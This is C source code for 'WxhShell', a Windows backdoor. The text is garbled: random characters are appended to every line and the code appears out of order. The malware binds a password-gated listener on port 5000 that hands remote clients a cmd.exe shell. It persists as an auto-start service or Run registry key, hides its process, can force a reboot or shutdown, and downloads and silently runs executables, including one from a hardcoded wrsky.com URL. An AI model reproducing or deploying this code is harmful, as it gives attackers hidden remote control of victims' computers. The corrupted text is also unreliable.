    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &T7cH>E'K^  
    if(Boot(SHUTDOWN)) {ZG:M}ieN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iNXFk4  
    else { _y>}#6B  
    closesocket(wsh); 'v\j.j/i  
    ExitThread(0); W;.{]x.0  
    } .`Sw,XL5  
    break; +miR3~w.  
    } ANotUty;y  
  // 获取shell u-kZW1wrQ  
  case 's': { ~*,Wj?~+7  
    CmdShell(wsh); 7g5@vYS+  
    closesocket(wsh); zb>;?et;)  
    ExitThread(0); yu=piP  
    break; qT$ )Rb&  
  } Y5n>r@ )m  
  // 退出 c88_}%h?(  
  case 'x': { |f<9miNu  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V7BsEw  
    CloseIt(wsh); B7|c`7x(  
    break; -rO*7HO  
    } kAeNQRjR  
  // 离开 KYf;_C,$  
  case 'q': { fL2^\dB;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !f`5B( @  
    closesocket(wsh); [$;,Ua-mt  
    WSACleanup(); 9Yn)t#G'`F  
    exit(1); y=#j`MH{>  
    break; o~;M"  
        } @*SA$9/l  
  } w [L&*  
  } 1#]B^D  
J]dW1boT@  
  // 提示信息 ~?CS_B *  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); * .o"ZVl  
} 3+%nn+m  
  } 5*Btb#:  
?T <rt  
  return; ~~@y_e[N#l  
} =D5wqCT(Q  
S_$nCyaH2  
// shell模块句柄 eKyqU9  
int CmdShell(SOCKET sock) SetX#e?q~  
{ i+I0k~wY  
STARTUPINFO si; u3ST;  
ZeroMemory(&si,sizeof(si)); a5)JkC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1U'ZVJ5bpK  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fq=:h\\G  
PROCESS_INFORMATION ProcessInfo; AC'lS >7s  
char cmdline[]="cmd"; >P<'L4;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zC#%6@P\  
  return 0; 2 ZK%)vq0  
} 1LX)4TCC  
~XKZXGw  
// 自身启动模式 EWO /u.z  
int StartFromService(void) @%:E  }  
{ h"r!q[MN o  
typedef struct @+E7w6>%  
{ 6^ab@GrN\  
  DWORD ExitStatus; 83Uw  
  DWORD PebBaseAddress; Y0}4WWV  
  DWORD AffinityMask; i(Vm!Y82  
  DWORD BasePriority; 8 ip^]  
  ULONG UniqueProcessId; `H"vR: ~{  
  ULONG InheritedFromUniqueProcessId; onib x^Fcd  
}   PROCESS_BASIC_INFORMATION; NNmM#eB:4  
S}b~_}  
PROCNTQSIP NtQueryInformationProcess; F )7j@h^  
9$wAm89  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ##GY<\",;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; { m'AY)  
c})wD+1  
  HANDLE             hProcess; vzG ABP  
  PROCESS_BASIC_INFORMATION pbi; e,"FnW  
3e *-\TP-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T0Q51Q  
  if(NULL == hInst ) return 0; MO TE/JG  
fdLBhe#9M  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9(Jy0]E~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R(`]n!V2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gs>A=A(VYf  
]VDn'@uM  
  if (!NtQueryInformationProcess) return 0; #2N_/J(U  
X|'2R^V.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4kh8W~i;/  
  if(!hProcess) return 0; =+\$e1Mb*  
O+b6lg)q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; AOAO8%|I  
j_V/GnEQ  
  CloseHandle(hProcess); kP?_kMOx  
b`zET^F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {mf.!Xev  
if(hProcess==NULL) return 0; }^ ,q#'  
=J xFp, Xr  
HMODULE hMod; O"iak  
char procName[255]; MyFCJJ/  
unsigned long cbNeeded; _ Mn6L=  
wPgDy  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a ea0+,;  
mr qaM2,(I  
  CloseHandle(hProcess); g>T  
ai9  
if(strstr(procName,"services")) return 1; // 以服务启动 s [T{c.F  
87}(AO)  
  return 0; // 注册表启动 (l_:XG)7~b  
} x,uBJ  
U6c@Et,  
// 主模块 Pk:zfC?4  
int StartWxhshell(LPSTR lpCmdLine) ^vaL8+  
{ 5k~\or 5_  
  SOCKET wsl; m9!DOL1pl  
BOOL val=TRUE; !5~k:1=  
  int port=0; x_W3sS]ej  
  struct sockaddr_in door; N<n8'XDdG  
bw5T2wYZ  
  if(wscfg.ws_autoins) Install(); |]tZ hI"3<  
XWXr0>!,?  
port=atoi(lpCmdLine); I=odMw7Hj  
7>&1nBh. f  
if(port<=0) port=wscfg.ws_port; AqqHD=Yp  
yW`e |!  
  WSADATA data; R{`gR"*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QTE:K?  
dm& /K 4c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3HKxYvc C  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *IqVY&  
  door.sin_family = AF_INET; }^9paU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I&\4C.\>  
  door.sin_port = htons(port); ](nH{aY!  
AAo0M/U'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &?r*p0MQC  
closesocket(wsl); p&O8qAaO  
return 1; AIv<f9*.:  
} QoseS/  
K:a3+k d  
  if(listen(wsl,2) == INVALID_SOCKET) { &=NJ  
closesocket(wsl); @ t|3gF$X  
return 1; BfVBywty  
} O]bKNA.5  
  Wxhshell(wsl); f:XfAH3R{  
  WSACleanup(); X|Dpt2A=  
0e\y~#-  
return 0; j/' g$  
; h9W\Se  
} z{/LX \  
)mG0g@qOK  
// 以NT服务方式启动 )ji@k(x27q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D:)~%wu Lt  
{ OEI3eizgH  
DWORD   status = 0; XR+rT  
  DWORD   specificError = 0xfffffff; #<]Iz'\`  
Wp`C:H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3C#RjA-2[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zb?kpd}r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2NYi-@mr  
  serviceStatus.dwWin32ExitCode     = 0; "qE {a>d  
  serviceStatus.dwServiceSpecificExitCode = 0; 3(o7co-f  
  serviceStatus.dwCheckPoint       = 0; f B7ljg  
  serviceStatus.dwWaitHint       = 0; <5k&)EoT  
F^miq^K=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); DyIV/  
  if (hServiceStatusHandle==0) return; ;:?*t{r4#  
OW#_ty_ul  
status = GetLastError(); b|6!EGh  
  if (status!=NO_ERROR) SBz/VQ  
{ C#h76fpH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; i pwW%"6  
    serviceStatus.dwCheckPoint       = 0; qw2)v*Fn  
    serviceStatus.dwWaitHint       = 0; XECikld>  
    serviceStatus.dwWin32ExitCode     = status; #@E(<Pu4`  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4]EvT=Ro  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Rf?%Tv0\  
    return; /`}6rXnw9  
  } mYzcVhV  
B*2{M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zsQF,7/}B  
  serviceStatus.dwCheckPoint       = 0; qh H+m  
  serviceStatus.dwWaitHint       = 0; c&b/Joi7@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _0m}z%rI  
} F^]aC98]1  
-F1P2 8<?  
// 处理NT服务事件,比如:启动、停止 0$l&i=L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &1~Re.* B  
{ H>Ks6V)RL4  
switch(fdwControl) 80HEAv,O  
{ \6i 9q=  
case SERVICE_CONTROL_STOP: jceHK l  
  serviceStatus.dwWin32ExitCode = 0; pagC(F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8:<1|]]  
  serviceStatus.dwCheckPoint   = 0; jzQ I>u  
  serviceStatus.dwWaitHint     = 0; ;AltNGcM  
  { ~ur)f AuF2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WkP|4&-<  
  } %_)b>C18 y  
  return; ?;fv!'?%  
case SERVICE_CONTROL_PAUSE: GBW 7Y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9>IsqYc  
  break; Xj(>.E{~H  
case SERVICE_CONTROL_CONTINUE: qhnapZJ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .01TTK*  
  break; .T{U^0 )  
case SERVICE_CONTROL_INTERROGATE: >pnz_MQ   
  break; :/~_sJt C  
};  XtR`?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eWw y28t  
} T%w(P ^qk  
g&P9UW>qS  
// 标准应用程序主函数 -: C[P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [RW, {A  
{ F=V oFmF@  
[:BW+6  
// 获取操作系统版本 0O_E\- =  
OsIsNt=GetOsVer(); Q6xgLx[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;=#qHo9k1%  
Xz" JY  
  // 从命令行安装 .N&QW `  
  if(strpbrk(lpCmdLine,"iI")) Install(); /%;/pi  
$sM]BE:  
  // 下载执行文件 XGL"gD   
if(wscfg.ws_downexe) { aK-N}T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) eZ[#+0J  
  WinExec(wscfg.ws_filenam,SW_HIDE); iKY-;YK  
} =qan%=0"h  
Of!|,2`(  
if(!OsIsNt) { gl Li  
// 如果时win9x,隐藏进程并且设置为注册表启动  X+\0%|  
HideProc(); rtoSCj:  
StartWxhshell(lpCmdLine); r!>es;R8  
} lf}?!*V`+  
else 3EAX]  
  if(StartFromService()) %sYk0~E  
  // 以服务方式启动 dfnX!C~6\  
  StartServiceCtrlDispatcher(DispatchTable); ]D?oQ$q7  
else p<ry$=`  
  // 普通方式启动 Y/#:)(&@  
  StartWxhshell(lpCmdLine); @i;LZa  
2~+'vi  
return 0; MuN [U17FB  
} +h9`I/R  
!P+~ c0DF  
O'Vh{JHf  
8}]l9"q(  
=========================================== 3huzz<n3  
N IO;  
N <ja6Ac  
x[zKtX  
54bF) <+  
Q^\{Zg)p  
" [Q7`RB  
;9 lqSv/6  
#include <stdio.h> &0?DL  
#include <string.h> H;4oZ[g  
#include <windows.h> 4+ykE:  
#include <winsock2.h> [<,0A]m   
#include <winsvc.h> X*(gT1"t  
#include <urlmon.h> `>$g y/N  
xtG)^x!  
#pragma comment (lib, "Ws2_32.lib") $eTv6B?m  
#pragma comment (lib, "urlmon.lib") h4B+0  
r@\,VD6J  
#define MAX_USER   100 // 最大客户端连接数 g4?Q.'dZr  
#define BUF_SOCK   200 // sock buffer mOABZ#+Fk  
#define KEY_BUFF   255 // 输入 buffer "87O4 #$  
x A@|I#  
#define REBOOT     0   // 重启 =lw4 H_  
#define SHUTDOWN   1   // 关机 9_I[o.q   
Tey,N^=ek  
#define DEF_PORT   5000 // 监听端口 Q5T(;u6  
3( >(lk  
#define REG_LEN     16   // 注册表键长度 `kI?Af*;v  
#define SVC_LEN     80   // NT服务名长度 !]n{l_5r  
uMljH@xBc  
// 从dll定义API ]=O{7#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UXXqE4x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zEnC[~W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fq)Ohb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >^2ZM  
e/g<<f-  
// wxhshell配置信息 Nn~tb2\vk  
struct WSCFG { `HMligT  
  int ws_port;         // 监听端口 Te{aB"B  
  char ws_passstr[REG_LEN]; // 口令 ^R&_}bp  
  int ws_autoins;       // 安装标记, 1=yes 0=no <T4 7kLI  
  char ws_regname[REG_LEN]; // 注册表键名 1mvu3}ewx  
  char ws_svcname[REG_LEN]; // 服务名 w-{#6/<kI5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /@xr[=L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !8H!Fj`|j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TPN:cA6[c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &VtWSq-)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !07FsPI#{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A= \'r<:  
*+4>iL*:  
}; f=-!2#%  
zM3H@;}m  
// default Wxhshell configuration nA{ncTg1\  
struct WSCFG wscfg={DEF_PORT, ][T9IAn  
    "xuhuanlingzhe", fJ|Bu("N  
    1, f z/?=  
    "Wxhshell", MZ >0K  
    "Wxhshell", g~i''lng  
            "WxhShell Service", ?(|TP^  
    "Wrsky Windows CmdShell Service", f D]An<  
    "Please Input Your Password: ", ]DL> .<]d  
  1, ,Jw\3T1V  
  "http://www.wrsky.com/wxhshell.exe", .~V".tZV[  
  "Wxhshell.exe" x0TnS #  
    }; 3\+[38 _  
VdjU2d  
// 消息定义模块 Cz$H k;3\6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q9Xm b2LN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]e#,\})Br  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \6nQ-S_  
char *msg_ws_ext="\n\rExit."; wnZ*k(  
char *msg_ws_end="\n\rQuit."; Xm0&U?dZB  
char *msg_ws_boot="\n\rReboot..."; oK(W)[u  
char *msg_ws_poff="\n\rShutdown..."; wUZ(Tin  
char *msg_ws_down="\n\rSave to "; ePu2t3E  
Y;%R/OyWY  
char *msg_ws_err="\n\rErr!"; O#uaGziFf  
char *msg_ws_ok="\n\rOK!"; OmoplJ+  
pE YrmC  
char ExeFile[MAX_PATH]; lL(}dbT~N  
int nUser = 0; lhW#IiX  
HANDLE handles[MAX_USER]; +lXdRc`6  
int OsIsNt; qAuUe=w%p  
s\3Z?zm8  
SERVICE_STATUS       serviceStatus; %yS`C"ZQ)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; A+bu bH,  
2=Vkjh-  
// 函数声明 uV*f  
int Install(void); >k&lGF<nl  
int Uninstall(void); eW }jS/g`  
int DownloadFile(char *sURL, SOCKET wsh); JXI+k.fi  
int Boot(int flag); D3ZT''  
void HideProc(void); iX9[Q0g=oQ  
int GetOsVer(void); +2_6C;_DX  
int Wxhshell(SOCKET wsl); gP_d >p:b  
void TalkWithClient(void *cs); s/p>30Fg  
int CmdShell(SOCKET sock); 9b=^"K  
int StartFromService(void); )oz-<zW  
int StartWxhshell(LPSTR lpCmdLine); e5:l6`  
=O}%bZ)Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8zB+%mcF  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5e~{7{  
#/ gme  
// 数据结构和表定义 )4o=t.O\K  
SERVICE_TABLE_ENTRY DispatchTable[] = ,:Rq  
{ 6lH>600]u  
{wscfg.ws_svcname, NTServiceMain}, UU:QK{{E  
{NULL, NULL} 0I ND9h. %  
}; Z:o' +oh  
v'2OHb#  
// 自我安装 \Vhp B   
int Install(void) ah&plaVzC  
{ "351s3ff  
  char svExeFile[MAX_PATH]; ]a Ma*fF  
  HKEY key; N%M>,wT  
  strcpy(svExeFile,ExeFile); BzG!Rg|J  
`- uZv  
// 如果是win9x系统,修改注册表设为自启动 (^@;`8Dy8  
if(!OsIsNt) { uBL~AC3>O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xr7<(:d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Bbe/w#Z  
  RegCloseKey(key); y0mg}N1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *MyS7<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vng8{Mx90*  
  RegCloseKey(key); >=q!!'$:  
  return 0; 6[Pr<4J  
    } %_X[{(  
  } %~v76;H<  
} bMK'J  
else { MdTd$ 4J3  
)*QTxN  
// 如果是NT以上系统,安装为系统服务 OmUw.VH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Zn=JmZ  
if (schSCManager!=0) `a1R "A  
{ q'8@0FT0  
  SC_HANDLE schService = CreateService A"T. nqB^y  
  ( #}]il0d  
  schSCManager, 3E2.v5*  
  wscfg.ws_svcname, %?{2uMfq-f  
  wscfg.ws_svcdisp, 2*",{m  
  SERVICE_ALL_ACCESS, h/y}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -r2qIt  
  SERVICE_AUTO_START, 6s"bstc{  
  SERVICE_ERROR_NORMAL, *]UEF_  
  svExeFile, . L6@Rs  
  NULL, y7L4jO9h  
  NULL, >A@D;vx  
  NULL, p-03V"^&  
  NULL, bJMcI8`  
  NULL ST [1'T+L  
  );  #,9TJ:~N  
  if (schService!=0) 7J_f/st  
  { Y Z2VP  
  CloseServiceHandle(schService); j!8+|eA kk  
  CloseServiceHandle(schSCManager); {,mRMDEy  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v}*u[GWl]  
  strcat(svExeFile,wscfg.ws_svcname); N)I T?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "l;8 O2;g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xTawG?"D  
  RegCloseKey(key); >yHnz?bf@  
  return 0; !?-5 hh1\  
    } +Q#Qu0_   
  } _w,0wn9N$  
  CloseServiceHandle(schSCManager); Ak-7}i  
} > mDubP  
} C- Rie[  
 YaZ "&i  
return 1; &-)Y[#\J  
} ML"P"&~u6  
f?I *`~k  
// 自我卸载 . t%Vx  
int Uninstall(void) ^{+:w:g  
{ s=@Ce V@4W  
  HKEY key; Ewsg&CCN  
I\6<)2j/L  
if(!OsIsNt) { DT]p14@t9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :mHtK)z~  
  RegDeleteValue(key,wscfg.ws_regname); S7>gNE;%]u  
  RegCloseKey(key); ]M"'qC3g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Lj1 @yokB  
  RegDeleteValue(key,wscfg.ws_regname); '9Odw@tp  
  RegCloseKey(key); .`#R%4Xl  
  return 0; !OVEA^6  
  } kxf=%<l  
} s ^@Cq=  
} ?Pw \&q  
else { _5`S)G{  
%~(i[Ur;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /<(ik&%N  
if (schSCManager!=0) O,Gn2Do  
{ ?v~3zHK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *pUV-^uo  
  if (schService!=0) xVX||rrh  
  { ^aWNtY' :  
  if(DeleteService(schService)!=0) { 0BD((oNg  
  CloseServiceHandle(schService); (SVr>|Db  
  CloseServiceHandle(schSCManager); 9+Hb`  
  return 0; D)Rf  
  } 0lh6b3tdP  
  CloseServiceHandle(schService); yC*BOJS  
  } zW`koRH@  
  CloseServiceHandle(schSCManager); U+M?<4J) "  
} cyeDZ)  
} 0\^2HjsJ  
p+D 6Z'B  
return 1; sBI%lrO  
} !T(Omve)  
"(VcYQ+  
// 从指定url下载文件 =}lA|S  
int DownloadFile(char *sURL, SOCKET wsh) ;7*@Gf}R  
{ M:f=JuAx  
  HRESULT hr; C2i..iD  
char seps[]= "/"; ~y^lNgujO  
char *token; s""8V_,;  
char *file; ~o5iCt;w  
char myURL[MAX_PATH]; Dx)XC?'xO  
char myFILE[MAX_PATH]; 'Rw] C[  
m6<0 hP  
strcpy(myURL,sURL); ZU'^%)6~o~  
  token=strtok(myURL,seps); %-|q3 ^s  
  while(token!=NULL) DN0b.*[`3  
  { Sylsp%A  
    file=token; 6+#cyKj  
  token=strtok(NULL,seps); B;_3IHMO  
  } $zi\ /Yw  
SnU{ZGR>sP  
GetCurrentDirectory(MAX_PATH,myFILE); 0 d]G  
strcat(myFILE, "\\"); ^ w1R"qE"m  
strcat(myFILE, file); 2` qXD fD`  
  send(wsh,myFILE,strlen(myFILE),0); 0Ch._~Q+20  
send(wsh,"...",3,0); n9-[z2n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gP%!  
  if(hr==S_OK) @!O{>`  
return 0; Z"T(8>c;g  
else r0bPaAKw  
return 1; T bWZw  
>vy+U  
} 1e} 3L2rC  
 gOAluP  
// 系统电源模块 =(\!,S'  
int Boot(int flag) 4=:eGlU93U  
{ :!h H`l}p  
  HANDLE hToken; !S{<Xc'wv  
  TOKEN_PRIVILEGES tkp; !WnI`  
ji=po;g=E  
  if(OsIsNt) { XLxr~Yo  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S,%HW87  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S`KCVQ>V  
    tkp.PrivilegeCount = 1; }dl(9H=4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rM |RGe  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^u,x~nPXg  
if(flag==REBOOT) {  '|T=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) OG`O i^2  
  return 0; 0VPa;{i/  
} _,~zy9{,  
else { f'U]Ik;Jy  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0MPDD%TP  
  return 0; 0yNlf-O  
} 0n=E.qZ9c  
  } Gzt5efygKt  
  else { oFp&j@`k8j  
if(flag==REBOOT) { sAlgp2-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ztpb/9J9  
  return 0; >YhqL62!a  
} .#|pje^  
else { wv-8\)oA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) DBDfB b  
  return 0; jp`N%O]6  
} `_)dEu  
} ;0gpS y$#  
mo$*KNW%\  
return 1; 6'zy"UkH  
} rOT8!"  
%}:J 9vra  
// win9x进程隐藏模块 hNy S  
void HideProc(void) -AQX-[B  
{ 0f1#T gX  
X9HI@M]h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); OpQa!  
  if ( hKernel != NULL ) pnU g:R@  
  { hg @Jpg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9n7d "XD2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0<9TyN6  
    FreeLibrary(hKernel); B"v=Fr[  
  } LAeXe!y  
DBRJtU!5x  
return; }dM^6 Kd%  
} qQ_QF  
D6WsEd>  
// 获取操作系统版本 \2!$HA7P  
int GetOsVer(void) U_No/$ b  
{ W]OT=6u8o  
  OSVERSIONINFO winfo; gP@ni$n  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +|;IIwo  
  GetVersionEx(&winfo); 4KnDXQ%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,+&j/0U  
  return 1; rpmDr7G  
  else DV l: s  
  return 0; x3 S  
}  Eqc$*=  
4Q5v8k=  
// 客户端句柄模块 G w[&P%  
int Wxhshell(SOCKET wsl) U9w*x/S wb  
{ Cn<x  
  SOCKET wsh; ?x97 q3I+]  
  struct sockaddr_in client; K~]jXo^M  
  DWORD myID; jo~Pr  
#,56vVY  
  while(nUser<MAX_USER) $BY{:#a]  
{ 0bE_iu>f'  
  int nSize=sizeof(client); _f`m/l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nq=fSK(  
  if(wsh==INVALID_SOCKET) return 1; >. Y ~F(  
)[1m$>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /L.a:Er$  
if(handles[nUser]==0) F@BNSs N=  
  closesocket(wsh); -)@.D>HsOt  
else 6D],275`J  
  nUser++; $m>e!P>%u  
  } v|GvN|_|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K^bn4Nr  
\w3wh*  
  return 0;  y^Lw7  
} t>xV]W<  
iYf4 /1IG,  
// 关闭 socket FyEl@ }W  
void CloseIt(SOCKET wsh) C6n4OU  
{ N5\<w>  
closesocket(wsh); Li2)~4p><  
nUser--; |1D`v9  
ExitThread(0); nC rNZ&P  
} Mw~ ?@Sq  
VsC]z, oV  
// 客户端请求句柄 <Yc:,CU  
void TalkWithClient(void *cs) zP9 !fA  
{ X$* 'D)  
}/VHeHd  
  SOCKET wsh=(SOCKET)cs; RY'y%6Z]ZO  
  char pwd[SVC_LEN]; oZ}e w!V  
  char cmd[KEY_BUFF]; g:Dg?_o  
char chr[1]; X'c5s~9  
int i,j; m{*l6`dF  
 VV  
  while (nUser < MAX_USER) { n>HNpy  
Vr*t~M>  
if(wscfg.ws_passstr) { gJ])A7O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +K?h]v]%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ')BQ 0sg  
  //ZeroMemory(pwd,KEY_BUFF); so7;h$h!H  
      i=0; ld $`5!Z  
  while(i<SVC_LEN) { !o@-kl  
t]x HM  
  // 设置超时 EVf'1^f  
  fd_set FdRead; ' |Oi#S  
  struct timeval TimeOut; k=@Q#=;*[W  
  FD_ZERO(&FdRead); C$bK!]a  
  FD_SET(wsh,&FdRead); (\}IOCNS  
  TimeOut.tv_sec=8; [Ue>KG62=  
  TimeOut.tv_usec=0; 4Qd g t*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^tah4QmUA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); zE[c$KPP  
N(9'U0z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k2=uP8  
  pwd=chr[0]; \; 3r  
  if(chr[0]==0xd || chr[0]==0xa) { L,WK L.  
  pwd=0; =4zsAa  
  break; HiC\U%We  
  } ,'!&Z *  
  i++; ; H3kb +  
    } #'T|,xIr-Q  
/$n${M5!  
  // 如果是非法用户,关闭 socket 1Jahu!c?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $\bH 5|Hk]  
} @:[/uqL  
nXN0~,+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &^<94l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I$Z"o9"  
+|.#<]GA  
while(1) { {b?)|@)is  
/EC m  
  ZeroMemory(cmd,KEY_BUFF); _ReQQti[  
zm e:U![  
      // 自动支持客户端 telnet标准   0h7\zoZ5  
  j=0; 1)r1/0  
  while(j<KEY_BUFF) { ,y0kzwPR1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Cxh9rUe.  
  cmd[j]=chr[0]; V><P`  
  if(chr[0]==0xa || chr[0]==0xd) { y?rsfIth`  
  cmd[j]=0; s#Le`pGoW  
  break; Ev()2 80  
  } 0`x<sjG\q  
  j++; ecHy. 7H  
    } ?eu=0|d  
L$b9|j7  
  // 下载文件 !O5UE  
  if(strstr(cmd,"http://")) { .,c8cq?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;7hf'k  
  if(DownloadFile(cmd,wsh)) !yxb<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); a%AU9?/q#  
  else C{c (K!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :70oO}0m.  
  } tSg#2  
  else { #*9*[Xbi  
K9*K4'#R  
